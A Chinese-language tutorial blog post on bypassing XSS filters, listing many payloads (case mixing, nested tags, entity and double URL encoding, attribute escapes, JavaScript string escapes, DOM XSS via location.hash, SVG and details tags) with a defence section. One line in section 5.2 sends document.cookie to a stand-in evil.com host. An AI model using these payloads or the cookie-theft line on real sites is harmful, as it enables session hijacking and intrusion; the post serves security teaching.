1. 项目概述:从“绕过”说起,理解XSS攻防的本质
最近在带新人做安全测试,发现很多刚入门的朋友对XSS(跨站脚本攻击)的理解还停留在“弹个窗”的层面,一遇到稍微有点过滤的输入点就束手无策了。这让我想起自己刚入行那会儿,也是对着一个被简单转义了的输入框干瞪眼。XSS的核心魅力,或者说让安全研究者着迷的地方,恰恰在于那种“道高一尺,魔高一丈”的对抗过程——开发者设下过滤规则,攻击者寻找规则中的缝隙,也就是我们常说的“绕过”。
“绕过”不是一个贬义词,在安全领域,它是一种重要的研究思路。只有充分理解攻击者会如何绕过你的防御,你才能构建起真正有效的防线。这篇内容,我就结合自己这些年踩过的坑和积累的经验,系统性地梳理一下XSS插入绕过的常见思路与高阶技巧。目标很明确:让你不仅知道有哪些绕过方式,更能理解每一种方式背后的原理和适用场景,从而在面对真实环境时,能自己分析、构造出有效的Payload。无论你是刚接触Web安全的新手,还是想深化XSS知识体系的同行,收藏这一篇,应该就够了。
2. XSS绕过的核心思想与前置知识
在深入各种奇技淫巧之前,我们必须先建立正确的认知框架。XSS绕过的目标,是让一段恶意脚本(通常是JavaScript)在目标用户的浏览器中被成功执行。而防御方(开发者)会在数据输入、传输、输出的各个环节设置障碍。因此,所有的绕过技术,本质上都是对防御规则和浏览器解析机制的深刻理解和巧妙利用。
2.1 理解浏览器的“解析”与“执行”
这是所有XSS绕过的基石。浏览器接收到服务器返回的HTML文档后,会启动一个复杂的解析过程。这个过程是分阶段、有顺序的:
- HTML解析 :浏览器从上到下解析HTML标签,构建DOM树。在这个阶段,它会识别
<script>、<img>、<div>等标签及其属性。 - JavaScript解析与执行 :当解析到
<script>标签,或者遇到onclick、onload这类事件处理器属性时,浏览器会将其中的内容交给JavaScript引擎去解析并执行。 - URL解析 :对于
href、src等属性中的URL,浏览器会进行解码和请求。
关键点在于 :HTML解析、JavaScript解析、URL解码,它们的规则和顺序是不同的!一个常见的误区是,开发者可能只在某个环节做了一次过滤或编码,但攻击者可以利用不同解析阶段的差异,让恶意代码“瞒天过海”。
2.2 常见的防御手段与我们的“靶子”
要绕过,先得知道对方防了什么。开发者常用的防御措施包括:
- 输入过滤/黑名单 :直接删除或转义疑似危险的字符,如
<、>、”、’、&和script、onclick等关键词。 - 输出编码 :根据数据输出的上下文,进行不同的编码。例如,输出到HTML标签体内时,对
<、>进行HTML实体编码(<、>);输出到HTML属性值时,还要对引号编码;输出到<script>标签内部时,则需处理JavaScript字符串。 - 内容安全策略(CSP) :通过HTTP头告诉浏览器,只允许加载和执行来自特定来源的脚本,从根本上限制XSS。
我们的“绕过”,主要针对前两种,尤其是实现不完善的前两种。一个强大的CSP策略能极大地增加绕过难度,但并非无懈可击,那属于更高级的话题。
注意 :本文讨论的所有技术均用于合法授权的安全测试、攻防演练及学习研究。未经授权对任何系统进行测试是非法行为,请务必遵守法律法规。
3. 基础绕过:针对简单过滤与转义
我们从最简单的场景开始。假设一个搜索框,用户输入的内容会直接显示在结果页面上。后端可能只做了非常基础的过滤。
3.1 大小写与嵌套绕过
这是最古老但有时依然有效的技巧。
- 原理 :很多简单的黑名单过滤采用简单的字符串匹配(如
indexOf(“script”)),对大小写敏感。 - Payload示例 :
<ScRiPt>alert(1)</ScRiPt> <sCrIpT>alert(1)</sCrIpT> - 进阶:嵌套标签 :如果过滤了
<script>但没过滤其他标签,可以尝试利用标签嵌套来破坏过滤逻辑(取决于过滤函数的实现方式)。
假设过滤函数是简单地删除“script”这个字符串,那么它处理<scr<script>ipt>alert(1)</scr</script>ipt><scr<script>ipt>时,会删除中间的“script”,剩下的部分正好拼接成<script>。不过,这种简单的字符串删除过滤现在比较少见。
3.2 利用HTML实体编码“延迟解码”
- 原理 :浏览器在HTML解析阶段,会将HTML实体(如
<)解码成对应字符(<)。但如果我们将Payload用HTML实体编码,有时可以绕过在服务端或前端输入时对<、>的检查。 - Payload示例 :假设输入框过滤了
<和>,但输出时没有进行二次编码。- 我们输入:
<img src=1 onerror=alert(1)> - 服务端可能认为这是无害的文本,因为它不包含尖括号。
- 当这段文本被输出到HTML页面时,浏览器解析到
<和>,会将其解码为<和>。于是,最终的DOM中就出现了一个<img>标签。
- 我们输入:
- 关键 :这种绕过的成功与否,完全取决于数据流的处理链条。如果服务端在存储或输出前,对我们输入的
&也进行了转义(变成&),那么这个Payload就会失效,因为浏览器会看到&lt;,解码后仍是<文本。
3.3 换行符与回车符干扰
- 原理 :有些过滤逻辑是逐行读取或使用正则表达式匹配,可能没有正确处理换行符(
\n)或回车符(\r)。 - Payload示例 :
或者利用JavaScript允许字符串换行的特性(在引号内):<img src=1 onerror = alert(1)><script>alert(1 )</script> - 实操心得 :在面对模糊的过滤时,尝试插入
\n、\r、\t等空白字符,有时能意外地让Payload“滑”过去。尤其是在测试富文本编辑器或某些WAF(Web应用防火墙)规则时。
4. 属性内的XSS:无需闭合标签的战场
很多时候,我们无法插入一个完整的标签,但可以控制某个现有HTML标签的属性值。比如: <input type="text" value="【用户可控】"> 。这里是绕过的重灾区。
4.1 事件处理器与伪协议
- 原理 :HTML标签有很多事件属性,如
onclick、onmouseover、onload、onerror。当对应事件被触发时,其中的JavaScript代码就会执行。javascript:伪协议则常用于href、src等属性,点击链接或加载资源时执行。 - Payload示例 :
" onclick="alert(1) // 闭合value引号,然后添加新属性 " onmouseover="alert(1) // 鼠标滑过时触发 "><script>alert(1)</script> // 先闭合当前标签,再插入新标签(如果上下文允许) javascript:alert(1) // 用于href属性,如<a href="【可控】"> - 绕过引号过滤 :如果引号被过滤或转义,我们可以尝试不用引号。HTML属性在特定条件下可以不加引号。
甚至可以利用其他属性来分隔:value=1 onfocus=alert(1) autofocus // 需要自动获取焦点才能触发 value=1 onmouseover=alert(1) // 鼠标滑过触发value=1 style=display:none onload=alert(1) // 这种构造通常无效,因为onload不是所有标签都有。更常见的是: <img src=1 onerror=alert(1)> // 经典的img标签利用,src加载失败触发onerror
4.2 利用样式属性与CSS表达式(历史技巧)
- 原理 :旧的IE浏览器支持在CSS中嵌入JavaScript表达式(
expression(...))。虽然现在主流浏览器已不支持,但在一些特定环境或作为绕过思路仍有提及。 - Payload示例 :
" style="color:expression(alert(1))" - 现代替代 :更常见的是利用
style属性进行CSS注入,再结合一些现代浏览器特性尝试转向其他攻击,如窃取数据。但纯CSS实现弹窗已非常困难。
4.3 细节:属性值中的空格与特殊字符
-
/(斜杠)的妙用 :在HTML中,/可以用于提前闭合标签,在某些绕过场景中很关键。
更常见的是在绕过<img src="x" onerror=alert(1) / > // 这里的 `/` 是标签的“自闭合”部分,但有时过滤不严,可以插入事件<script>标签过滤时:<script/xxx>alert(1)</script> // 浏览器对<script>标签的解析很“宽容”,`<script/任意内容>` 通常仍会被识别为脚本开始。 - >(尖括号)的利用 :如果我们能控制属性值,并且该属性值之后没有引号闭合,我们可以用
>来提前闭合当前标签,然后开始新的标签。
输入:<input type="text" value="【可控】">" ><script>alert(1)</script>结果:<input type="text" value="" ><script>alert(1)</script>,成功逃逸出input标签。
5. 高级绕过:编码与解析顺序的把戏
当基础过滤都失效时,我们需要祭出更高级的武器:利用编码和浏览器解析的“时间差”。
5.1 多重编码混淆
- 原理 :数据在传输和处理过程中可能经历多次编码/解码。例如:用户输入 → URL编码 → 服务器解码 → HTML实体编码 → 浏览器解码。如果我们能预测或影响其中一环,就可以植入恶意代码。
- 场景模拟 :
- 假设一个参数通过URL传递:
search?keyword=【可控】。 - 服务端代码可能先用
decodeURIComponent解码URL参数,然后进行过滤,最后输出到HTML。 - 绕过尝试 :我们提交的Payload是经过URL编码的:
%3Cscript%3Ealert(1)%3C%2Fscript%3E(即<script>alert(1)</script>的URL编码)。 - 如果服务端先解码,得到原始Payload,然后过滤掉
<script>,则绕过失败。 - 但如果服务端过滤逻辑有缺陷(比如先过滤,再解码?顺序很重要!),或者我们采用 双重编码 :
- 我们提交:
%253Cscript%253Ealert(1)%253C%252Fscript%253E(这是<script>alert(1)</script>的 两次 URL编码。%25是%本身的URL编码)。 - 服务端第一次解码:
%3Cscript%3Ealert(1)%3C%2Fscript%3E。 - 如果此时服务端没有进行第二次解码就直接过滤,它看到的只是“%3Cscript%3E”这个字符串,里面没有
<,可能过滤不掉。 - 然后服务端可能将这段“安全”的字符串输出到HTML。浏览器在渲染时,遇到
%3C等,在HTML上下文中它可能不会解码,但如果这段数据被放入<script>标签内,或者被JavaScript的decodeURIComponent函数处理,就会还原出恶意代码。
- 我们提交:
- 假设一个参数通过URL传递:
- 实操心得 :多重编码绕过的成功率高度依赖于目标应用的具体处理流程。在测试时,需要结合抓包工具,仔细观察数据在每个环节(请求参数、响应体、前端JS处理)的表现形式。常用的编码包括URL编码、HTML实体编码、Unicode编码(
\u003c)、Base64编码等。尝试在不同环节注入不同编码的Payload,观察其最终效果。
5.2 JavaScript上下文下的绕过
当我们的输入点位于 <script>...</script> 标签内部时,战场就转移到了JavaScript的语法层面。
- 字符串拼接与逃逸 :
// 假设服务端代码这样拼接 var userInput = "【用户可控】"; console.log("Hello, " + userInput); // 如果我们输入 `";alert(1);//` // 最终代码变为: var userInput = "";alert(1);//"; console.log("Hello, " + userInput); // 成功逃逸字符串,注入新语句。 - 利用反引号(模板字符串) :现代ES6支持反引号定义字符串,并允许内嵌表达式
${}。如果过滤了引号但没过滤反引号,且输入点在一个模板字符串中,可以尝试闭合。// 后端:`Welcome ${username}!` // 输入:`${alert(1)}` // 结果:`Welcome ${alert(1)}!`,执行alert。 - 利用JavaScript解析特性 :
- 八进制/十六进制编码 :JavaScript字符串支持
\xHH(十六进制)和\OOO(八进制,已弃用但可能支持)表示字符。alert(1) 可以编码为: \x61\x6c\x65\x72\x74\x28\x31\x29 // 使用时需要eval或作为代码执行: eval("\x61\x6c\x65\x72\x74\x28\x31\x29") - Unicode编码 :
\uXXXX形式。alert 可以编码为: \u0061\u006c\u0065\u0072\u0074 -
String.fromCharCode:将ASCII码拼接成字符串。eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)) // alert(1)
- 八进制/十六进制编码 :JavaScript字符串支持
- 绕过
alert过滤 :如果关键字alert被过滤,我们可以用其他方式调用。// 使用 window['alert'] 或 top['alert'] window['al'+'ert'](1) // 字符串拼接 top[8680439..toString(36)](1) // `8680439..toString(36)` 的结果是字符串 "alert",这是一种混淆技巧 // 使用其他函数,如 prompt, confirm,或者更直接的:`document.location='http://evil.com/?c='+document.cookie`
5.3 基于DOM的XSS与Source/Sink
这是非常高级且常见于现代单页应用(SPA)的XSS类型。它不依赖于服务端响应中直接包含恶意脚本,而是利用前端JavaScript代码(如 innerHTML、document.write、eval、setTimeout、location.hash 等)不安全地处理用户可控的数据。
- Source(源) :用户可控的数据输入点。如:
document.location.hash、document.URL、document.referrer、window.name、表单输入。 - Sink(汇点) :能够导致脚本执行的JavaScript函数或属性。如:
innerHTML、outerHTML、document.write、eval、setTimeout、setInterval、Function构造函数、location.href(跳转到javascript:...)。 - 绕过思路 :
- 识别Source和Sink :通过代码审计或黑盒测试(观察网络请求和前端代码),找到数据从哪里来,到哪里去。
- 分析数据处理流程 :数据在从Source到Sink的过程中,是否经过了过滤或编码?过滤逻辑是前端还是后端?
- 利用前端逻辑缺陷 :很多DOM XSS的过滤是在前端用JavaScript完成的,这很容易被绕过。因为攻击者可以完全控制发送给浏览器的最终数据(通过修改请求或本地代理),直接绕过前端检查。
- 案例 :一个页面通过
document.location.hash获取锚点内容,然后直接用innerHTML插入到某个div中。- 正常访问:
http://example.com/page#section1 - 攻击构造:
http://example.com/page#<img src=1 onerror=alert(1)> - 因为
location.hash的内容不会发送到服务器,所以服务端无法过滤。前端代码如果直接使用innerHTML,就会导致XSS。
- 正常访问:
6. 实战场景与综合绕过技巧
理论说再多,不如看几个综合性的例子。这里我模拟几个常见场景,展示如何组合运用上述技巧。
6.1 场景一:富文本编辑器(过滤了标签和事件)
假设一个论坛的富文本编辑器,允许一些HTML标签(如 <b>、<i>、<img> ),但过滤了 <script> 和 on事件 。
- 尝试1:利用允许的标签属性 。
<img>标签的src属性加载失败会触发onerror,但onerror被过滤了。怎么办? - 尝试2:利用
<svg>标签 。SVG是XML格式,本身可以内嵌JavaScript。很多富文本编辑器为了支持矢量图,会允许<svg>标签。<svg onload=alert(1)> <svg><script>alert(1)</script></svg> // 有些解析器会把svg内的script当作普通文本,不一定成功。 - 尝试3:利用
<iframe>、<embed>、<object>。这些标签可以加载外部或内部资源,可能触发执行。<iframe src="javascript:alert(1)"></iframe> // 如果javascript协议被允许 - 尝试4:利用CSS的
expression()或现代H5特性 。如前所述,expression仅限旧IE。但可以尝试<link>标签引入外部样式表,或者利用@import,但这属于更复杂的攻击链。 - 尝试5:利用标签的“非事件”属性进行绕过 。例如,有些过滤可能只检查
on开头的属性。但HTML5支持一些新属性,如<img>的onload和onerror是事件,但<input>的formaction不是事件,却可以在表单提交时改变目标,结合其他漏洞利用。对于XSS,更直接的是<details>标签的ontoggle事件,可能不在常见黑名单。<details ontoggle=alert(1) open> - 实操心得 :测试富文本编辑器时,要系统地尝试所有允许的标签,并查阅每个标签的所有属性,寻找那些能执行代码或触发请求的属性。自动化工具(如DOMPurify的测试用例)的标签-属性白名单是很好的参考。
6.2 场景二:JSON输出点的不安全解析
现代API常返回JSON数据,由前端JavaScript动态渲染。如果前端使用 eval() 或 JSON.parse 后直接将对象属性用于 innerHTML 等Sink,就可能产生XSS。
- 后端返回 :
{"username": "【用户输入】", "age": 20} - 前端错误处理 :
// 错误示例 var data = JSON.parse(response); document.getElementById('user-info').innerHTML = data.username; // 如果username包含HTML,就会被执行 - 绕过 :这种情况下,服务端对
username字段的过滤可能很严格。但我们可以尝试利用JSON本身的特性。- 输入闭合的HTML标签:如果服务端只转义了引号尖括号,但输出时没有用
innerText而是innerHTML,那么输入<img src=1 onerror=alert(1)>可能直接生效。 - 更隐蔽的 :如果前端是用
eval(“var data = ” + response)来解析JSON(非常危险且过时),那么我们可以尝试注入JS代码。- 正常JSON:
{"user": "test"} - 恶意输入:
\"}); alert(1); //,最终服务端返回的字符串可能是:{"user": "\"}); alert(1); //"}。当与前端拼接时,可能破坏原有结构,注入代码。但这种漏洞现在已非常罕见。
- 正常JSON:
- 输入闭合的HTML标签:如果服务端只转义了引号尖括号,但输出时没有用
6.3 场景三:过滤函数的递归与绕过
有时会遇到自定义的过滤函数,它会递归删除或替换“script”等关键词。
- 假设过滤函数 :
while(input.indexOf(‘script’) != -1) { input = input.replace(‘script’, ‘’); } - 经典绕过 :
<scrscriptipt>alert(1)</scrscriptipt>。第一次删除“script”后,剩下的部分又组合成了新的“script”。 - 应对策略 :这种过滤非常脆弱。安全的做法是使用白名单(只允许已知安全的标签和属性),或者使用业界久经考验的库(如DOMPurify)。
7. 防御视角与绕过检测思路
作为攻击者,我们寻找绕过方法;作为开发者,我们则要堵上这些漏洞。了解攻击手法,才能更好地防御。
7.1 根本性防御措施
- 严格的输出编码 :根据输出上下文(HTML体、HTML属性、JavaScript、CSS、URL)选择正确的编码函数。不要自己写,用成熟的库,如OWASP ESAPI。
- 内容安全策略(CSP) :这是防御XSS的终极武器之一。通过HTTP头
Content-Security-Policy,告诉浏览器只允许执行来自特定来源的脚本,禁止内联脚本(unsafe-inline)和eval。即使攻击者成功注入了脚本,浏览器也不会执行它。 - 使用安全框架/库 :前端渲染使用
textContent代替innerHTML;如果必须使用HTML,使用DOMPurify这样的库进行净化。后端避免拼接SQL、拼接HTML/JS。 - 输入验证 :在业务允许的范围内,对输入格式进行严格校验(如邮箱格式、手机号格式)。但 绝不能 只依赖输入验证作为XSS的防御手段。
7.2 如何检测自己的应用是否存在XSS绕过风险
- 代码审计 :重点关注所有将用户输入输出到页面的地方。查找
innerHTML、document.write、eval、setTimeout/Interval、location.href赋值、<script>标签拼接等危险函数。检查是否根据上下文进行了正确的编码。 - 黑盒测试 :
- 手工测试 :在所有用户输入点,系统性地尝试本文提到的各种Payload。使用浏览器开发者工具,观察Payload在HTML中的最终形态,是否被正确编码。
- 工具辅助 :使用Burp Suite、ZAP等工具的Scanner模块,或专门的XSS扫描工具(如XSStrike、xsser)。但工具不能替代手工测试,尤其是对于复杂的DOM XSS和基于状态的绕过。
- 变异与模糊测试 :对已知的Payload进行随机的大小写变换、编码、插入空白符、拼接等,观察过滤系统的反应。
- 测试Payload清单 :建立一个自己的测试用例库,包含不同上下文(HTML、属性、JavaScript、CSS、URL)的Payload,以及各种编码和混淆变体。
8. 常见问题与排查技巧实录
在实际测试和教学中,我遇到过很多典型问题。这里记录一些,希望能帮你少走弯路。
问题1:Payload提交后,页面没反应,但查看源代码发现Payload原样输出,没有被执行。
- 排查 :这说明服务端或前端对输入进行了正确的HTML实体编码(如
<变成<)。你需要检查输出点是否在<script>标签内,或者是否被innerText/textContent设置。如果在<script>标签内,你需要的是JavaScript字符串逃逸,而不是HTML标签。如果被innerText设置,那么任何HTML都不会被解析,这是安全的做法。
问题2:在输入框里输入Payload,一提交就被清空或页面报错。
- 排查 :很可能服务端有较强的输入验证或过滤,直接拒绝了非法请求。你需要通过抓包工具(如Burp Suite)拦截请求,修改参数后重放,以绕过前端可能存在的任何检查。前端验证只是用户体验,绝对阻挡不了攻击者。
问题3:反射型XSS的Payload在URL里很长,被截断了。
- 排查 :URL有长度限制(不同浏览器和服务器不同)。对于长的Payload,可以考虑使用
POST请求(如果目标接受),或者将核心攻击代码缩短(如用eval执行一个从外部加载的短URL参数)。另一种思路是使用存储型XSS,将Payload存入数据库,然后诱使受害者访问一个简单的触发页面。
问题4:明明在A页面测试成功的Payload,在B页面(功能类似)却失败了。
- 排查 :仔细对比两个页面的HTML结构、JavaScript代码和网络请求。可能存在的差异:
- 输出点的上下文不同(一个在
<div>内,一个在<script>变量中)。 - 引入了不同的前端框架或库,处理方式不同。
- 页面有全局的XSS过滤库(如Google的Caja,但已不维护),但只在某些页面加载。
- 服务端对不同的接口或参数有不同的处理逻辑。
- 输出点的上下文不同(一个在
问题5:在本地或测试环境成功的Payload,在生产环境无效。
- 排查 :生产环境可能开启了WAF(Web应用防火墙)或更严格的CSP策略。你需要分析生产环境返回的HTTP响应头,查看是否有
Content-Security-Policy头,以及WAF是否拦截了请求(通常返回403或特定的拦截页面)。绕过WAF是另一个深水区,通常需要利用WAF规则的特异性,例如使用生僻的标签/属性、多重编码、协议混淆等。
个人心得 :XSS测试就像一场侦探游戏,需要耐心和细心。不要盲目扔Payload,要观察、推理、验证。多使用浏览器的开发者工具(Elements, Console, Network, Debugger),理解每一行代码的执行过程。遇到困难时,把问题拆解:是输入过滤了?输出编码了?还是执行环境变了?逐一分析,总能找到突破口。最后,永远保持学习,浏览器在更新,防御技术在进步,新的绕过技巧也总在出现。

205

被折叠的 条评论
为什么被折叠?



